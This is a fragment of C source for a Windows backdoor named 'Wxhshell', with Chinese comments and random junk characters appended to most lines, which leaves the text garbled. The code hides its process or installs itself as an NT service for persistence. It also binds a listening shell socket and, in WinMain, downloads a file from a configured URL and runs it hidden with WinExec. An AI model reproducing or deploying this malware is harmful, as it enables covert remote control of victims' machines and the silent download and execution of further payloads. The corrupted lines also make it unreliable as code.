DWORD BasePriority; {!N4|
ULONG UniqueProcessId; &=H M}h
ULONG InheritedFromUniqueProcessId; V]q{N-Iq
} PROCESS_BASIC_INFORMATION; u:HKmP;
Xid>8
PROCNTQSIP NtQueryInformationProcess; DIk$9$"<x
.kC}. Q_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H kg@M?(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *}/xy
SH3
&51/Pm2O
HANDLE hProcess; l06 q1M 3
PROCESS_BASIC_INFORMATION pbi; `t6lnO
44%H? ,d
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "VT5WFj
if(NULL == hInst ) return 0; P* aD2("Z
EAY9~b6~c
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lg8~`96
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l$zNsf.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,1~Zqprn
//J:p,AF
if (!NtQueryInformationProcess) return 0; ]G1j\ wnF
t<`ar@}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @J r
if(!hProcess) return 0; <U~P-c
tN
xje{kx#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yLDHJ}R
Lvp/} /H/
CloseHandle(hProcess); a@8knJ|
..~{cU4Tt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z?
{#/
if(hProcess==NULL) return 0; z9D2,N.
iGha pD
HMODULE hMod; M2s
char procName[255]; qh2.N}lW
unsigned long cbNeeded; Ey6K@@%
%1=W#jz
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &McmA
_Jp_TvP>
CloseHandle(hProcess); qHKZ5w
Yt#($}p
if(strstr(procName,"services")) return 1; // 以服务启动 ko5\*!|:lj
Z(<ul<?r
return 0; // 注册表启动 piId5Gx7
} 7Ru0>4B
,7QnZ=F
// 主模块 ]-}a{z
int StartWxhshell(LPSTR lpCmdLine) {^\-%3$
{ }2\"(_
SOCKET wsl; >|iy= Zn%'
BOOL val=TRUE; ^-ACtA)
int port=0; iF%q6R
struct sockaddr_in door; SHGO;
Fx@
{]
if(wscfg.ws_autoins) Install(); :EO}uP2
hCDI;'ls
port=atoi(lpCmdLine); YLCwo]\+>
a 6 ]!4
if(port<=0) port=wscfg.ws_port; sW]n~kTt'
N!m%~},s//
WSADATA data; V`H#|8\i
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {$EXI]f
I}q-J~s
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #E ~FF@a
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =.o-R=:d
door.sin_family = AF_INET; R80R{Ze
door.sin_addr.s_addr = inet_addr("127.0.0.1"); y&CUT:M6
door.sin_port = htons(port); 9.@(&
fC-^[Af)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p;5WLAF
closesocket(wsl); b9YpUm7#
return 1; T+[e6/|
} =CVw0'yZ
ko:I.6- K
if(listen(wsl,2) == INVALID_SOCKET) { va<+)b\
closesocket(wsl); $`oA$E3
return 1; ?UxY4m%R;
} cpy"1=K~M
Wxhshell(wsl); iY($O/G[+
WSACleanup(); (]V.#JM
GmHsO/
return 0; O-B3@qQ. h
Q?tV:jogY
} {Q-U=me\
%*gO<U4L]
// 以NT服务方式启动 [_0g^(`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j~{2fd<>
{ i f"v4PHq
DWORD status = 0; a2 SQ:d
DWORD specificError = 0xfffffff; 68)^i"DM<
m3WV<Cbz
serviceStatus.dwServiceType = SERVICE_WIN32; w\mF2h
serviceStatus.dwCurrentState = SERVICE_START_PENDING; N<{`n;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BmM,vllO
serviceStatus.dwWin32ExitCode = 0; iWCV(!
serviceStatus.dwServiceSpecificExitCode = 0; |")x1'M
serviceStatus.dwCheckPoint = 0; `u}x:f !
serviceStatus.dwWaitHint = 0; #.><A8J
t#q>U%!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ocb2XEF
if (hServiceStatusHandle==0) return; "h2Ny#
|]q=D1/A
status = GetLastError(); saT9%?4-
if (status!=NO_ERROR) %C)JmaQ{9
{ yRznP)
serviceStatus.dwCurrentState = SERVICE_STOPPED;
>ob/@
serviceStatus.dwCheckPoint = 0; zb" hy"hKw
serviceStatus.dwWaitHint = 0; Qx6/QaS?
serviceStatus.dwWin32ExitCode = status; {eXYl[7n
serviceStatus.dwServiceSpecificExitCode = specificError; J
v#^GNm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); aYgJTep>r
return; 8F*
WT|]
} HZm
i?
X2`>@GR/>
serviceStatus.dwCurrentState = SERVICE_RUNNING; g@2.A;N0
serviceStatus.dwCheckPoint = 0; Z]Y4NO;
serviceStatus.dwWaitHint = 0; ]Rye AJ3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x.yL'J\)
} *p3P\ H^5
2{CSH_"Z7
// 处理NT服务事件,比如:启动、停止 d0B+syl&4l
VOID WINAPI NTServiceHandler(DWORD fdwControl) W~tOH=9>
{ OeYLL4H
switch(fdwControl) @NIypi$T
{ T]W -g
case SERVICE_CONTROL_STOP: 8x"d/D
serviceStatus.dwWin32ExitCode = 0; V.#8-?z
serviceStatus.dwCurrentState = SERVICE_STOPPED; FT;JYkO
serviceStatus.dwCheckPoint = 0; J$Epj
serviceStatus.dwWaitHint = 0; #H`y1zm
{ ]KeNC)R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _p&$X
} ;N\?]{ L
return; S:YL<_oI|
case SERVICE_CONTROL_PAUSE: j 7URg>i0
serviceStatus.dwCurrentState = SERVICE_PAUSED; nrIL_
break; DKl7|zG4
case SERVICE_CONTROL_CONTINUE: }/spo3,6
serviceStatus.dwCurrentState = SERVICE_RUNNING; e{;e
break; b0X[x{k"
case SERVICE_CONTROL_INTERROGATE: 5B 7*Z
break; ^WD$
gd
}; @>5<m'}2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }^[@m#
} zRu`[b3u<
dLf8w>i`T
// 标准应用程序主函数 tTH%YtG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y2-bU 7mo
{ >n~p1: $
H Im,
"iYk
// 获取操作系统版本 1RbYPX
OsIsNt=GetOsVer(); $0}bi:7
GetModuleFileName(NULL,ExeFile,MAX_PATH); rbPs~C-[
14!J\`rI
// 从命令行安装 =on!&M
if(strpbrk(lpCmdLine,"iI")) Install(); GiXd e}bm
fZ}Y(TG/
// 下载执行文件 %>2t=)T
if(wscfg.ws_downexe) { ?MM3LA! <
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) df*#?Ok
WinExec(wscfg.ws_filenam,SW_HIDE); .4> s2
} &.hRVW(
|"qB2.[
if(!OsIsNt) { ~C'nBV
// 如果时win9x,隐藏进程并且设置为注册表启动 FH8mK)
HideProc(); #<Nvy9
StartWxhshell(lpCmdLine); `HG19_Z
} 4QAIQQS
else k!=GNRRZE
if(StartFromService()) r)(BT:2m
// 以服务方式启动 X'7S|J6s
StartServiceCtrlDispatcher(DispatchTable); jHH
else O/9%"m:i
// 普通方式启动 SRN9(LN
StartWxhshell(lpCmdLine); ]t)M}^w
* g4Cy8$
return 0; ]A$^ l,
}